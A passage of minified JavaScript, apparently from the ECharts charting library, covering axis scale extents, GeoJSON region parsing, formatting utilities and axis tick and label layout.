Pv(t).prepare}(t)),n=e.keyed||(e.keyed=vt());Lx(t,function(e,r,i){var o=n.get(r)||n.set(r,vt()),a=o.get(i)||o.set(i,{});e.metrics.liPosMinGap&&Bx.liPosMinGap(t,e,a)})}var Bx={};function zx(t,e,n){if(t){var r=e.ecModel,i=Cx(Ov(r)),o=t.model.uid,a=i.axSer||(i.axSer=vt()),s=a.get(o)||a.set(o,[]);s.push(e);var l=e.subType,u=e.getBaseAxis()===t,c=Vx.get(Fx(l,u,n))||Vx.get(Fx(l,u,null));if(c){var h=i.keyed||(i.keyed=vt()),f=i.keys||(i.keys=vt()),p=c.key,d=h.get(p)||h.set(p,vt()),g=d.get(o);g||((g=d.set(o,{axis:t,sers:[],serByIdx:[]})).metrics=c.getMetrics(t),(f.get(o)||f.set(o,[])).push(p)),g.sers.push(e),g.serByIdx[e.seriesIndex]=e}}}function Fx(t,e,n){return t+kx+it(e,!0)+kx+(n||"")}var Vx=vt(),Hx=Zo(),Wx=function(){function t(t,e,n,r,i){var o,a=z_(t),s=a?e.getCategories().length:null;if(a){var l=e.getCategories(!0);o=l&&!l.length}var u=n.slice();(N_(t)||B_(t)||E_(t))&&(ra(u,Ux(t,e.get("dataMin",!0))),ia(u,Ux(t,e.get("dataMax",!0)))),function(t){var e=t[1]-t[0];return isFinite(e)&&e>=0}(u)||(u[0]=u[1]=NaN);var c=[],h=[!1,!1],f=e.get("min",!0);"dataMin"===f?(c[0]=u[0],h[0]=!0):(c[0]=Ux(t,X(f)?f({min:u[0],max:u[1]}):f),h[0]=null!=c[0]);var p=e.get("max",!0);"dataMax"===p?(c[1]=u[1],h[1]=!0):(c[1]=Ux(t,X(p)?p({min:u[0],max:u[1]}):p),h[1]=null!=c[1]);var d=function(t,e){var n;if(z_(t))n=[0,0];else{var r=e.get("boundaryGap");"boolean"==typeof r&&(r=null),n=U(r)?r:[r,r]}return[Xx(n[0]),Xx(n[1])]}(t,e),g=a?null:u[1]-u[0]||Math.abs(u[0]);null==c[0]&&(c[0]=a?o?u[0]:s?0:NaN:u[0]-d[0]*g),null==c[1]&&(c[1]=a?o?u[1]:s?s-1:NaN:u[1]+d[1]*g),!oa(c[0])&&(c[0]=NaN),!oa(c[1])&&(c[1]=NaN);var v=o||nt(c[0])||nt(c[1])||a&&!s,y=N_(t),m=y&&e.needIncludeZero&&e.needIncludeZero();m&&(c[0]>0&&c[1]>0&&!h[0]&&(c[0]=0),c[0]<0&&c[1]<0&&!h[1]&&(c[1]=0));var _=!1;c[0]>c[1]&&(c.reverse(),_=!0);var x=Ux(t,e.get("startValue",!0)),b=null!=x;!Co(x)&&r&&(x=t.getDefaultStartValue?t.getDefaultStartValue():0),Co(x)&&(b||!y||m)&&(x<c[0]&&!h[0]?(c[0]=x,h[0]=!0):x>c[1]&&!h[1]&&(c[1]=x,h[1]=!0)),Gx(this._i={scale:t,dataMM:u,noZoomEffMM:c,zoomMM:[],fixMM:h,zoomFixMM:[!1,!1],startValue:x,isBlank:v,incl0:m,tggAxInv:_,ctnShp:i},c)}return t.prototype.makeNoZoom=function(){return this._i.noZoomEffMM.slice()},t.prototype.makeFinal=function(){var t=this._i,e=t.zoomMM,n=t.noZoomEffMM,r=t.zoomFixMM,i=t.fixMM,o={fixMM:i,zoomFixMM:r,isBlank:t.isBlank,incl0:t.incl0,tggAxInv:t.tggAxInv,ctnShp:t.ctnShp,effMM:n.slice()},a=o.effMM;return null!=e[0]&&(a[0]=e[0],i[0]=r[0]=!0),null!=e[1]&&(a[1]=e[1],i[1]=r[1]=!0),Gx(t,a),o},t.prototype.makeRenderInfo=function(){return{startValue:this._i.startValue}},t.prototype.setZoomMM=function(t,e){this._i.zoomMM[t]=e},t}();function Gx(t,e){var n,r=t.scale,i=t.dataMM;r.sanitize&&(e[0]=r.sanitize(e[0],i),e[1]=r.sanitize(e[1],i),aa((n=e)[0],n[1])&&n[0]>n[1]&&(n[0]=n[1]))}function Ux(t,e){return null==e?null:nt(e)?NaN:t.parse(e)}function Xx(t){return bi("boolean"==typeof t?0:t,1)||0}function Yx(t){var e=Hx(t.scale);return e.extent||(e.extent=[1/0,-1/0]),e}function qx(t,e){var n=t.scale,r=t.model,i=t.dim;n.rawExtentInfo||function(t,e,n,r,i){var o=Yx(e),a=o.extent,s=!1;!function(t,e){var n=t.model.ecModel,r=Cx(Ov(n)).axSer;r&&Rx(n,r.get(t.model.uid),e)}(e,function(r){if(r.boxCoordinateSystem){var i=np(r).coord,l=o.dimIdxInCoord;if(l>=0){if(U(i)){var u=i[l];null==u||U(u)||na(a,t.parse(u))}}else 0}else if(r.coordinateSystem){var c=r.getData();if(c){var h=t.getFilter?t.getFilter():null;E(function(t,e){var n={};return E(t.mapDimensionsAll(e),function(e){n[__(t,e)]=!0}),H(n)}(c,n),function(t){var e,n;e=a,aa((n=c.getApproximateExtent(t,h))[0],n[1])&&(n[0]<e[0]&&(e[0]=n[0]),n[1]>e[1]&&(e[1]=n[1]))})}r.__requireStartValue&&r.__requireStartValue(e)&&(s=!0)}});var l=function(t,e,n){var r=Sx(t,n),i=n.get("containShape",!0);null!=i||r||(i=!0);if(!i)return!1;var o=!1;return Nx(e,function(t){o=!!jx.get(t)||o}),o}(t,e,r),u=new Wx(t,r,a,s,l);Zx(t,u,i),o.extent=null}(n,t,i,r,e)}function Zx(t,e,n){t.rawExtentInfo=e,e.from=n}var jx=vt();function Kx(t,e,n,r,i){t.rawExtentInfo||function(t,e){var n=t.scale;Zx(n,new Wx(n,t.model,e,!1,!1),3)}({scale:t,model:e},i||[1/0,-1/0]);var o=t.rawExtentInfo.makeFinal(),a=o.effMM;return t.setExtent(a[0],a[1]),t.setBlank(o.isBlank),r&&o.tggAxInv&&n&&!n.get("legacyMinMaxDontInverseAxis")&&(r.inverse=!r.inverse),o}function $x(t,e,n,r){var i;if(n.ctnShp&&(Nx(t,function(e){var n=jx.get(e);if(n){var o=n(t,r);o&&(ra(i=i||[0,0],o[0]),ia(i,o[1]),function(t){lx(t).noOnMyZero=!0}(t))}}),i)){var o=e.getExtent();if(z_(e))t.onBand||e.setExtent2(1,qi(o[0],o[0]+i[0]),Zi(o[1],o[1]+i[1]));else{var a=o.slice();n.zoomFixMM[0]||(a[0]=qi(a[0],e.transformOut(e.transformIn(a[0],null)+i[0],null))),n.zoomFixMM[1]||(a[1]=Zi(a[1],e.transformOut(e.transformIn(a[1],null)+i[1],null))),(a[0]<o[0]||a[1]>o[1])&&e.setExtent2(1,a[0],a[1])}}}function Qx(t,e){var n=B_(t),r=n?t.intervalStub:t,i=e.fixMinMax||[],o=n?t.getExtent():null,a=r.getExtent(),s=G_(a,i,e.rawExtentResult);r.setExtent(s[0],s[1]),s=r.getExtent();var l=n?function(t,e){var n=U_(e.splitNumber,10),r=t.getExtent(),i=L_(t);0;var o=Zi(_o(i),1);n/i*o<=.5&&(o*=10);var a=V_(o),s=[so(Qi(r[0]/o)*o,a),so($i(r[1]/o)*o,a)];return{intervalPrecision:a,interval:o,niceExtent:s}}(r,e):function(t,e){var n=U_(e.splitNumber,5),r=L_(t);0;var i=e.minInterval,o=e.maxInterval,a=bo(r/n,!0);null!=i&&a<i&&(a=i);null!=o&&a>o&&(a=o);var s=V_(a),l=t.getExtent(),u=[so(Qi(l[0]/a)*a,s),so($i(l[1]/a)*a,s)];return{interval:a,intervalPrecision:s,niceExtent:u}}(r,e),u=l.intervalPrecision,c=l.interval,h=e.userInterval;null!=h&&(l.interval=h,l.intervalPrecision=V_(h)),i[0]||(s[0]=so($i(s[0]/c)*c,u)),i[1]||(s[1]=so(Qi(s[1]/c)*c,u)),null!=h&&(l.niceExtent=s.slice()),xx(t,i,a,s,o,l)}function Jx(t){var e=t.scale,n=t.model,r=n.axis,i=n.ecModel;tb(e,n,r,i,null)}function tb(t,e,n,r,i){var o=Kx(t,e,r,n,i),a=N_(t)||E_(t);!function(t,e){eb[t.type](t,e)}(t,{splitNumber:e.get("splitNumber"),fixMinMax:o.fixMM,userInterval:e.get("interval"),minInterval:a?e.get("minInterval"):null,maxInterval:a?e.get("maxInterval"):null,rawExtentResult:o}),n&&r&&$x(n,t,o,r)}var eb={interval:Qx,log:Qx,time:function(t,e){var n=t.getExtent();if(n[0]===n[1]&&(n[0]-=yf,n[1]+=yf),n[1]===-1/0&&n[0]===1/0){var r=new Date;n[1]=+new Date(r.getFullYear(),r.getMonth(),r.getDate()),n[0]=n[1]-yf}t.setExtent(n[0],n[1]);var i=U_(e.splitNumber,10),o=L_(t)/i,a=e.minInterval,s=e.maxInterval;null!=a&&o<a&&(o=a),null!=s&&o>s&&(o=s);var l=K_.length,u=Math.min(function(t,e,n,r){for(;n<r;){var i=n+r>>>1;t[i][1]<e?n=i+1:r=i}return n}(K_,o,0,l),l-1),c=K_[u][1],h=K_[Math.max(u-1,0)][0];t.setTimeInterval({approxInterval:o,interval:c,minLevelUnit:h})},ordinal:bt};var nb={isDimensionStacked:m_,enableDataStack:y_,getStackedDimension:__};var rb=Object.freeze({__proto__:null,createList:function(t){return x_(null,t)},getLayoutRect:up,dataStack:nb,createScale:function(t,e){var n=e;e instanceof Jh||(n=new Jh(e));var r=cx(n,ux(n));return t[1]<t[0]&&(t=t.slice().reverse()),tb(r,n,null,null,t),r},mixinAxisModelCommonMethods:function(t){R(t,Mx)},getECData:Dl,createTextStyle:function(t,e){return Oh(t,null,null,"normal"!==(e=e||{}).state)},createDimensions:function(t,e){return f_(t,e).dimensions},createSymbol:Xv,enableHoverEmphasis:Iu});function ib(t,e){return Math.abs(t-e)<1e-8}function ob(t,e,n){var r=0,i=t[0];if(!i)return!1;for(var o=1;o<t.length;o++){var a=t[o];r+=Gs(i[0],i[1],a[0],a[1],e,n),i=a}var s=t[0];return ib(i[0],s[0])&&ib(i[1],s[1])||(r+=Gs(i[0],i[1],s[0],s[1],e,n)),0!==r}var ab=[];function sb(t,e){for(var n=0;n<t.length;n++)Ht(t[n],t[n],e)}function lb(t,e,n,r){for(var i=0;i<t.length;i++){var o=t[i];r&&(o=r.project(o)),o&&isFinite(o[0])&&isFinite(o[1])&&(Wt(e,e,o),Gt(n,n,o))}}var ub=function(){function t(t){this.name=t}return t.prototype.setCenter=function(t){this._center=t},t.prototype.getCenter=function(){var t=this._center;return t||(t=this._center=this.calcCenter()),t},t}(),cb=function(t,e){this.type="polygon",this.exterior=t,this.interiors=e},hb=function(t){this.type="linestring",this.points=t},fb=function(t){function e(e,n,r){var i=t.call(this,e)||this;return i.type="geoJSON",i.geometries=n,i._center=r&&[r[0],r[1]],i}return n(e,t),e.prototype.calcCenter=function(){for(var t,e=this.geometries,n=0,r=0;r<e.length;r++){var i=e[r],o=i.exterior,a=o&&o.length;a>n&&(t=i,n=a)}if(t)return function(t){for(var e=0,n=0,r=0,i=t.length,o=t[i-1][0],a=t[i-1][1],s=0;s<i;s++){var l=t[s][0],u=t[s][1],c=o*u-l*a;e+=c,n+=(o+l)*c,r+=(a+u)*c,o=l,a=u}return e?[n/e/3,r/e/3,e]:[t[0][0]||0,t[0][1]||0]}(t.exterior);var s=this.getBoundingRect();return[s.x+s.width/2,s.y+s.height/2]},e.prototype.getBoundingRect=function(t){var e=this._rect;if(e&&!t)return e;var n=[1/0,1/0],r=[-1/0,-1/0];return E(this.geometries,function(e){"polygon"===e.type?lb(e.exterior,n,r,t):E(e.points,function(e){lb(e,n,r,t)})}),isFinite(n[0])&&isFinite(n[1])&&isFinite(r[0])&&isFinite(r[1])||(n[0]=n[1]=r[0]=r[1]=0),e=new Be(n[0],n[1],r[0]-n[0],r[1]-n[1]),t||(this._rect=e),e},e.prototype.contain=function(t){var e=this.getBoundingRect(),n=this.geometries;if(!e.contain(t[0],t[1]))return!1;t:for(var r=0,i=n.length;r<i;r++){var o=n[r];if("polygon"===o.type){var a=o.exterior,s=o.interiors;if(ob(a,t[0],t[1])){for(var l=0;l<(s?s.length:0);l++)if(ob(s[l],t[0],t[1]))continue t;return!0}}}return!1},e.prototype.transformTo=function(t,e,n,r){var i=this.getBoundingRect(),o=i.width/i.height;n?r||(r=n/o):n=o*r;for(var a=new Be(t,e,n,r),s=i.calculateTransform(a),l=this.geometries,u=0;u<l.length;u++){var c=l[u];"polygon"===c.type?(sb(c.exterior,s),E(c.interiors,function(t){sb(t,s)})):E(c.points,function(t){sb(t,s)})}(i=this._rect).copy(a),this._center=[i.x+i.width/2,i.y+i.height/2]},e.prototype.cloneShallow=function(t){null==t&&(t=this.name);var n=new e(t,this.geometries,this._center);return n._rect=this._rect,n.transformTo=null,n},e}(ub);!function(t){function e(e,n){var r=t.call(this,e)||this;return r.type="geoSVG",r._elOnlyForCalculate=n,r}n(e,t),e.prototype.calcCenter=function(){for(var t=this._elOnlyForCalculate,e=t.getBoundingRect(),n=[e.x+e.width/2,e.y+e.height/2],r=ge(ab),i=t;i&&!i.isGeoSVGGraphicRoot;)ye(r,i.getLocalTransform(),r),i=i.parent;return be(r,r),Ht(n,n,r),n}}(ub);function pb(t,e,n){for(var r=0;r<t.length;r++)t[r]=db(t[r],e[r],n)}function db(t,e,n){for(var r=[],i=e[0],o=e[1],a=0;a<t.length;a+=2){var s=t.charCodeAt(a)-64,l=t.charCodeAt(a+1)-64;s=s>>1^-(1&s),l=l>>1^-(1&l),i=s+=i,o=l+=o,r.push([s/n,l/n])}return r}function gb(t,e){return B(F((t=function(t){if(!t.UTF8Encoding)return t;var e=t,n=e.UTF8Scale;return null==n&&(n=1024),E(e.features,function(t){var e=t.geometry,r=e.encodeOffsets,i=e.coordinates;if(r)switch(e.type){case"LineString":e.coordinates=db(i,r,n);break;case"Polygon":case"MultiLineString":pb(i,r,n);break;case"MultiPolygon":E(i,function(t,e){return pb(t,r[e],n)})}}),e.UTF8Encoding=!1,e}(t)).features,function(t){return t.geometry&&t.properties&&t.geometry.coordinates.length>0}),function(t){var n=t.properties,r=t.geometry,i=[];switch(r.type){case"Polygon":var o=r.coordinates;i.push(new cb(o[0],o.slice(1)));break;case"MultiPolygon":E(r.coordinates,function(t){t[0]&&i.push(new cb(t[0],t.slice(1)))});break;case"LineString":i.push(new hb([r.coordinates]));break;case"MultiLineString":i.push(new hb(r.coordinates))}var a=new fb(n[e||"name"],i,n.cp);return a.properties=n,a})}var vb=Object.freeze({__proto__:null,linearMap:io,round:function(t,e,n){return null==e&&(e=10),so(t,e,n)},asc:lo,getPrecision:uo,getPrecisionSafe:co,getPixelPrecision:function(t,e){var n=$i(to(t[1]-t[0])/eo),r=Ki(to(ji(e[1]-e[0]))/eo),i=qi(Zi(-n+r,0),20);return isFinite(i)?i:20},getPercentWithPrecision:function(t,e,n){return t[e]&&ho(t,n)[e]||0},parsePercent:oo,MAX_SAFE_INTEGER:po,remRadian:go,isRadianAroundZero:vo,parseDate:mo,quantity:_o,quantityExponent:xo,nice:bo,quantile:function(t,e){var n=(t.length-1)*e+1,r=$i(n),i=+t[r-1],o=n-r;return o?i+o*(t[r]-i):i},reformIntervals:function(t){t.sort(function(t,e){return s(t,e,0)?-1:1});for(var e=-1/0,n=1,r=0;r<t.length;){for(var i=t[r].interval,o=t[r].close,a=0;a<2;a++)i[a]<=e&&(i[a]=e,o[a]=a?1:1-n),e=i[a],n=o[a];i[0]===i[1]&&o[0]*o[1]!==1?t.splice(r,1):r++}return t;function s(t,e,n){return t.interval[n]<e.interval[n]||t.interval[n]===e.interval[n]&&(t.close[n]-e.close[n]===(n?-1:1)||!n&&s(t,e,1))}},isNumeric:So,numericToNumber:wo}),yb=Object.freeze({__proto__:null,parse:mo,format:Df,roundTime:Lf}),mb=Object.freeze({__proto__:null,extendShape:function(t){return nl.extend(t)},extendPath:function(t,e){return lh(t,e)},makePath:ch,makeImage:hh,mergePath:ph,resizePath:dh,createIcon:function(t,e,n){var r=I({rectHover:!0},e),i=r.style={strokeNoScale:!0};if(n=n||{x:-1,y:-1,width:2,height:2},t)return 0===t.indexOf("image://")?(i.image=t.slice(8),A(i,n),new sl(r)):ch(t.replace("path://",""),r,n,"center")},updateProps:Qc,initProps:Jc,getTransform:function(t,e){for(var n=ge([]);t&&t!==e;)ye(n,t.getLocalTransform(),n),t=t.parent;return n},clipPointsByRect:function(t,e){return B(t,function(t){var n=t[0];n=Zi(n,e.x),n=qi(n,e.x+e.width);var r=t[1];return r=Zi(r,e.y),[n,r=qi(r,e.y+e.height)]})},clipRectByRect:function(t,e){var n=Zi(t.x,e.x),r=qi(t.x+t.width,e.x+e.width),i=Zi(t.y,e.y),o=qi(t.y+t.height,e.y+e.height);if(r>=n&&o>=i)return{x:n,y:i,width:r-n,height:o-i}},registerShape:uh,getShapeClass:function(t){if(oh.hasOwnProperty(t))return oh[t]},Group:Bi,Image:sl,Text:yl,Circle:ec,Ellipse:rc,Sector:mc,Ring:xc,Polygon:Sc,Polyline:Tc,Rect:pl,Line:Ic,BezierCurve:Pc,Arc:Rc,IncrementalDisplayable:jc,CompoundPath:Nc,LinearGradient:Bc,RadialGradient:zc,BoundingRect:Be}),_b=Object.freeze({__proto__:null,addCommas:Yf,toCamelCase:function(t,e){return t=(t||"").toLowerCase().replace(/-(.)/g,function(t,e){return e.toUpperCase()}),e&&t&&(t=t.charAt(0).toUpperCase()+t.slice(1)),t},normalizeCssArray:qf,encodeHTML:ne,formatTpl:Kf,getTooltipMarker:function(t,e){var n=Y(t)?{color:t,extraCssText:e}:t||{},r=n.color,i=n.type;e=n.extraCssText;var o=n.renderMode||"html";return r?"html"===o?"subItem"===i?'<span style="display:inline-block;vertical-align:middle;margin-right:8px;margin-left:3px;border-radius:4px;width:4px;height:4px;background-color:'+ne(r)+";"+(e||"")+'"></span>':'<span style="display:inline-block;margin-right:4px;border-radius:10px;width:10px;height:10px;background-color:'+ne(r)+";"+(e||"")+'"></span>':{renderMode:o,content:"{"+(n.markerId||"markerX")+"|} ",style:"subItem"===i?{width:4,height:4,borderRadius:2,backgroundColor:r}:{width:10,height:10,borderRadius:5,backgroundColor:r}}:""},formatTime:function(t,e,n){"week"!==t&&"month"!==t&&"quarter"!==t&&"half-year"!==t&&"year"!==t||(t="MM-dd\nyyyy");var r=mo(e),i=n?"getUTC":"get",o=r[i+"FullYear"](),a=r[i+"Month"]()+1,s=r[i+"Date"](),l=r[i+"Hours"](),u=r[i+"Minutes"](),c=r[i+"Seconds"](),h=r[i+"Milliseconds"]();return t=t.replace("MM",kf(a,2)).replace("M",a).replace("yyyy",o).replace("yy",kf(o%100+"",2)).replace("dd",kf(s,2)).replace("d",s).replace("hh",kf(l,2)).replace("h",l).replace("mm",kf(u,2)).replace("m",u).replace("ss",kf(c,2)).replace("s",c).replace("SSS",kf(h,3))},capitalFirst:function(t){return t?t.charAt(0).toUpperCase()+t.substr(1):t},truncateText:function(t,e,n,r,i){var o={};return Pa(o,t,e,n,r,i),o.text},getTextRect:function(t,e,n,r,i,o,a,s){return new yl({style:{text:t,font:e,align:n,verticalAlign:r,padding:i,rich:o,overflow:a?"truncate":null,lineHeight:s}}).getBoundingRect()}}),xb=Object.freeze({__proto__:null,map:B,each:E,indexOf:P,inherits:O,reduce:z,filter:F,bind:W,curry:G,isArray:U,isString:Y,isObject:j,isFunction:X,extend:I,defaults:A,clone:k,merge:C}),bb=Zo(),wb=Zo(),Sb=1,Mb=2;function Tb(t){return{out:{noPxChangeTryDetermine:[]},kind:t}}function kb(t,e){var n=t.getLabelModel().get("customValues");if(n){var r=t.scale;return{labels:B(Ib(n,r),function(e,n){return{formattedLabel:dx(t)(e,n),rawLabel:r.getLabel(e),tick:e}})}}return"category"===t.type?function(t,e){var n=t.getLabelModel(),r=Db(t,n,e);return!n.get("show")||t.scale.isBlank()?{labels:[]}:r}(t,e):function(t){var e=t.scale.getTicks(),n=dx(t);return{labels:B(e,function(e,r){return{formattedLabel:n(e,r),rawLabel:t.scale.getLabel(e),tick:e}})}}(t)}function Cb(t,e,n){var r=t.scale,i=t.getTickModel().get("customValues");return i?{ticks:Ib(i,r)}:"category"===t.type?function(t,e){var n,r,i=Ab(t),o=vx(e),a=Ob(i,o);if(a)return a;e.get("show")&&!t.scale.isBlank()||(n=[]);if(X(o))n=Bb(t,o,!0);else if("auto"===o){var s=Db(t,t.getLabelModel(),Tb(Mb));r=s.labelCategoryInterval,n=B(s.labels,function(t){return t.tick})}else n=Bb(t,r=o,!0);return Rb(i,o,{ticks:n,tickCategoryInterval:r})}(t,e):{ticks:r.getTicks(n)}}function Ib(t,e){var n=e.getExtent(),r=[];return E(t,function(t){(t=e.parse(t))>=n[0]&&t<=n[1]&&r.push(t)}),ua(r,ha,null),lo(r),B(r,function(t){return{value:t}})}function Db(t,e,n){var r,i,o=Lb(t),a=vx(e),s=n.kind===Sb;if(!s){var l=Ob(o,a);if(l)return l}X(a)?r=Bb(t,a,!1):(i="auto"===a?function(t,e){if(e.kind===Sb){var n=t.calculateCategoryInterval(e);return e.out.noPxChangeTryDetermine.push(function(){return wb(t).autoInterval=n,!0}),n}var r=wb(t).autoInterval;return null!=r?r:wb(t).autoInterval=t.calculateCategoryInterval(e)}(t,n):a,r=Bb(t,i,!1));var u={labels:r,labelCategoryInterval:i};return s?n.out.noPxChangeTryDetermine.push(function(){return Rb(o,a,u),!0}):Rb(o,a,u),u}var Ab=Pb("axisTick"),Lb=Pb("axisLabel");function Pb(t){return function(e){return wb(e)[t]||(wb(e)[t]={list:[]})}}function Ob(t,e){for(var n=0;n<t.list.length;n++)if(t.list[n].key===e)return t.list[n].value}function Rb(t,e,n){return t.list.push({key:e,value:n}),n}function Nb(t,e,n){return null==Eb(t,e,n)}function Eb(t,e,n){var r=bb(t.model),i=t.getExtent(),o=r.lastAutoInterval,a=r.lastTickCount;if(null!=o&&null!=a&&Math.abs(o-e)<=1&&Math.abs(a-n)<=1&&o>e&&r.axisExtent0===i[0]&&r.axisExtent1===i[1])return o;r.lastTickCount=n,r.lastAutoInterval=e,r.axisExtent0=i[0],r.axisExtent1=i[1]}function Bb(t,e,n){var r=dx(t),i=t.scale,o=[],a=X(e);return X_(i,a?0:e,function(t,s){var l=i.getLabel(t);if(a){var u=!!e(t.value,l);if(t.offInterval=!u,!u&&!s)return}o.push(n?t:{formattedLabel:r(t),rawLabel:l,tick:t})}),o}function zb(t,e){e=e||{};var n,r={w:NaN,w2:NaN},i=t.scale,o=e.fromStat,a=e.min,s=(n=A_(i,3))[1]-n[0];Co(s)||(s=NaN);var l=t.getExtent(),u=ji(l[1]-l[0]);return z_(i)?function(t,e,n,r){var i=e.onBand,o=n+(i?1:0);0===o&&(o=1),t.w=r/o,!i&&n&&r&&(t.w2=t.w*n/r)}(r,t,s,u):o&&function(t,e,n,r,i){0;var o=!1,a=-1/0;E(i.key?[Ax(e,i.key)]:function(t,e){var n=[];return Lx(t.model.ecModel,function(t){for(var r=0;r<e.length;r++)e[r]&&t.serByIdx[e[r].seriesIndex]&&n.push(Px(t))}),n}(e,i.sers||[]),function(t){var e=t.liPosMinGap;null!=e&&(e>0?(e>a&&(a=e),o=!1):-2===e&&(o=!0))}),Co(n)&&n>0&&Co(a)?(t.w=r/n*a,t.w2=a):o&&(t.w=.8*r,t.w2=t.w*n/r)}(r,t,s,u,o),null!=a&&(r.w=Co(r.w)?Zi(a,r.w):a),r}var Fb=[0,1],Vb=function(){function t(t,e,n){this.onBand=!1,this.inverse=!1,this.dim=t,this.scale=e,this._extent=n||[0,0]}return t.prototype.contain=function(t){var e=this._extent,n=Math.min(e[0],e[1]),r=Math.max(e[0],e[1]);return t>=n&&t<=r},t.prototype.containData=function(t){return this.scale.contain(this.scale.parse(t))},t.prototype.getExtent=function(){return this._extent.slice()},t.prototype.setExtent=function(t,e){var n=this._extent;n[0]=t,n[1]=e},t.prototype.dataToCoord=function(t,e){var n=this.scale;return io(t=n.normalize(n.parse(t)),Fb,Hb(this),e)},t.prototype.coordToData=function(t,e){var n=io(t,Hb(this),Fb,e);return this.scale.scale(n)},t.prototype.pointToData=function(t,e){},t.prototype.getTicksCoords=function(t){var e=(t=t||{}).tickModel||this.getTickModel(),n=B(Cb(this,e,{breakTicks:t.breakTicks,pruneByBreak:t.pruneByBreak}).ticks,function(t){return{coord:this.dataToCoord(bx(this.scale,t)),tick:t}},this),r=function(t,e,n){var r=e.length;if(!t.onBand||n||!r)return!1;var i=zb(t).w;if(!i)return!1;E(e,function(t){t.coord-=i/2});var o=t.scale.getExtent(),a=e[r-1];a.tick.offInterval&&e.pop();return e.push({coord:a.coord+i,tick:{value:o[1]+1}}),!0}(this,n,e.get("alignWithLabel"));return B(n,function(t){return{coord:t.coord,tickValue:t.tick.value,onBand:r}})},t.prototype.getMinorTicksCoords=function(){if(z_(this.scale))return[];var t=this.model.getModel("minorTick").get("splitNumber");return t>0&&t<100||(t=5),B(this.scale.getMinorTicks(t),function(t){return B(t,function(t){return{coord:this.dataToCoord(t),tickValue:t}},this)},this)},t.prototype.getViewLabels=function(t){return kb(this,t=t||Tb(Mb)).labels},t.prototype.getLabelModel=function(){return this.model.getModel("axisLabel")},t.prototype.getTickModel=function(){return this.model.getModel("axisTick")},t.prototype.getBandWidth=function(){return zb(this,{min:1}).w},t.prototype.calculateCategoryInterval=function(t){return function(t,e){var n=e.kind,r=function(t){var e=t.getLabelModel();return{axisRotate:t.getRotate?t.getRotate():t.isHorizontal&&!t.isHorizontal()?90:0,labelRotate:e.get("rotate")||0,font:e.getFont()}}(t),i=dx(t),o=(r.axisRotate-r.labelRotate)/180*Math.PI,a=t.scale,s=a.getExtent(),l=a.count();if(s[1]-s[0]<1)return 0;var u=1;l>40&&(u=Math.max(1,Math.floor(l/40)));for(var c=s[0],h=t.dataToCoord(c+1)-t.dataToCoord(c),f=Math.abs(h*Math.cos(o)),p=Math.abs(h*Math.sin(o)),d=0,g=0;c<=s[1];c+=u){var v,y,m=yi(i({value:c}),r.font,"center","top");v=1.3*m.width,y=1.3*m.height,d=Math.max(d,v,7),g=Math.max(g,y,7)}var _=d/f,x=g/p;isNaN(_)&&(_=1/0),isNaN(x)&&(x=1/0);var b=Math.max(0,Math.floor(Math.min(_,x)));if(n===Sb)return e.out.noPxChangeTryDetermine.push(W(Nb,null,t,b,l)),b;var w=Eb(t,b,l);return null!=w?w:b}(this,t=t||Tb(Mb))},t}();function Hb(t){var e=t.getExtent();if(t.onBand){var n=(e[1]-e[0])/t.scale.count()/2;e[0]+=n,e[1]-=n}return e}function Wb(t,e,n,r,i,o,a,s){var l=i-t,u=o-e,c=n-t,h=r-e,f=Math.sqrt(c*c+h*h),p=(l*(c/=f)+u*(h/=f))/f;s&&(p=Math.min(Math.max(p,0),1)),p*=f;var d=a[0]=t+p*c,g=a[1]=e+p*h;return Math.sqrt((d-i)*(d-i)+(g-o)*(g-o))}var Gb=new Se,Ub=new Se,Xb=new Se,Yb=new Se,qb=new Se,Zb=[],jb=new Se;function Kb(t,e){if(e<=180&&e>0){e=e/180*Math.PI,Gb.fromArray(t[0]),Ub.fromArray(t[1]),Xb.fromArray(t[2]),Se.sub(Yb,Gb,Ub),Se.sub(qb,Xb,Ub);var n=Yb.len(),r=qb.len();if(!(n<.001||r<.001)){Yb.scale(1/n),qb.scale(1/r);var i=Yb.dot(qb);if(Math.cos(e)<i){var o=Wb(Ub.x,Ub.y,Xb.x,Xb.y,Gb.x,Gb.y,Zb,!1);jb.fromArray(Zb),jb.scaleAndAdd(qb,o/Math.tan(Math.PI-e));var a=Xb.x!==Ub.x?(jb.x-Ub.x)/(Xb.x-Ub.x):(jb.y-Ub.y)/(Xb.y-Ub.y);if(isNaN(a))return;a<0?Se.copy(jb,Ub):a>1&&Se.copy(jb,Xb),jb.toArray(t[1])}}}}function $b(t,e,n){if(n<=180&&n>0){n=n/180*Math.PI,Gb.fromArray(t[0]),Ub.fromArray(t[1]),Xb.fromArray(t[2]),Se.sub(Yb,Ub,Gb),Se.sub(qb,Xb,Ub);var r=Yb.len(),i=qb.len();if(!(r<.001||i<.001))if(Yb.scale(1/r),qb.scale(1/i),Yb.dot(e)<Math.cos(n)){var o=Wb(Ub.x,Ub.y,Xb.x,Xb.y,Gb.x,Gb.y,Zb,!1);jb.fromArray(Zb);var a=Math.PI/2,s=a+Math.acos(qb.dot(e))-n;if(s>=a)Se.copy(jb,Xb);else{jb.scaleAndAdd(qb,o/Math.tan(Math.PI/2-s));var l=Xb.x!==Ub.x?(jb.x-Ub.x)/(Xb.x-Ub.x):(jb.y-Ub.y)/(Xb.y-Ub.y);if(isNaN(l))return;l<0?Se.copy(jb,Ub):l>1&&Se.copy(jb,Xb)}jb.toArray(t[1])}}}function Qb(t,e,n,r){var i="normal"===n,o=i?t:t.ensureState(n);o.ignore=e;var a=r.get("smooth");a=!0===a?.3:Math.max(+a,0)||0,o.shape=o.shape||{},o.shape.smooth=a;var s=r.getModel("lineStyle").getLineStyle();i?t.useStyle(s):o.style=s}function Jb(t,e){var n=e.smooth,r=e.points;if(r)if(t.moveTo(r[0][0],r[0][1]),n>0&&r.length>=3){var i=Bt(r[0],r[1]),o=Bt(r[1],r[2]);if(!i||!o)return t.lineTo(r[1][0],r[1][1]),void t.lineTo(r[2][0],r[2][1]);var a=Math.min(i,o)*n,s=Vt([],r[1],r[0],a/i),l=Vt([],r[1],r[2],a/o),u=Vt([],s,l,.5);t.bezierCurveTo(s[0],s[1],s[0],s[1],u[0],u[1]),t.bezierCurveTo(l[0],l[1],l[0],l[1],r[2][0],r[2][1])}else for(var c=1;c<r.length;c++)t.lineTo(r[c][0],r[c][1])}var tw=["label","labelLine","layoutOption","priority","defaultAttr","marginForce","minMarginForce","marginDefault","suggestIgnore"];function ew(t,e,n){n=n||3,e?t.dirty|=n:t.dirty&=~n}function nw(t,e){return e=e||3,null==t.dirty||!!(t.dirty&e)}function rw(t){if(t)return 